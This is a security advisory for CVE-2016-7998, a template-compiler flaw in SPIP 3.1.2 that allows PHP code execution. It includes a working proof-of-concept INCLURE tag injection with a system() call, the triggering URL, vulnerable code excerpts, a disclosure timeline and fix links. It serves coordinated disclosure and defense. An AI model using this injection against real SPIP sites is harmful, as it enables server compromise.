SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)
SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence. The SPIP template composer/compiler does not correctly handle SPIP "INCLUDE/INCLURE" Tags, allowing PHP code execution by an authenticated user. This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory.SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)
Product Description
SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.
Vulnerability Description
The SPIP template composer/compiler does not correctly handle SPIP « INCLUDE/INCLURE » Tags, allowing PHP code execution by an authenticated user.
This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory.
Access Vector: remote
Security Risk: critical
Vulnerability: CWE-94
CVSS Base Score: 9.1 (Critical)
CVE-ID: CVE-2016-7998
Proof of Concept
Store a .html
file in a random directory with the following content :
<INCLURE(xxx"\)\);}system\("touch /tmp/exploited"\);/*)>
Then you can access to the following URL, with the var_url
paramater pointing to the path corresponding to your uploaded file:
http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html
The PHP code system("touch /tmp/exploited");
will be executed after 2 requests.
This happens because the template file is included (if already compiled) by ecrire/public/composer.php
, line 60 :
if (!squelette_obsolete($phpfile, $source)) {
include_once $phpfile;
and because we can « exit » the function generated by the template compiler (improper sanitization when generating argumenter_squelette):
function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) {
if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"]))
$doublons = nettoyer_env_doublons($Pile[0]["doublons"]);
$connect = '';
$page = (
'<'.'?php echo recuperer_fond( ' . argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', array(\'lang\' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), array("compil"=>array(\'/tmp/exploit.html\',\'html_xxxx\',\'\',1,$GLOBALS[\'spip_lang\'])), _request("connect"));
?'.'>
');
return analyse_resultat_skel('html_xxxx', $Cache, $page, '/tmp/exploit.html');
}
Therefore, the vulnerability leads to arbitrary PHP code execution.
Vulnerable code
The vulnerable code is located in the argumenter_inclure
function (ecrire/public/compiler.php
), line 123.
if ($var !== 1) {
$val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ")
. $val . ($echap ? ") . '" : " ");
}
Timeline (dd/mm/yyyy)
- 15/09/2016 : Initial discovery
- 26/09/2016 : Contact with SPIP Team
- 27/09/2016 : Answer from SPIP Team, sent advisory details
- 27/09/2016 : Fixes issued for PHP Code Execution
- 30/09/2016 : SPIP 3.1.3 Released
Fixes
- https://core.spip.net/projects/spip/repository/revisions/23186
- https://core.spip.net/projects/spip/repository/revisions/23189
- https://core.spip.net/projects/spip/repository/revisions/23192
Affected versions
- Version <= 3.1.2
Credits
- Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)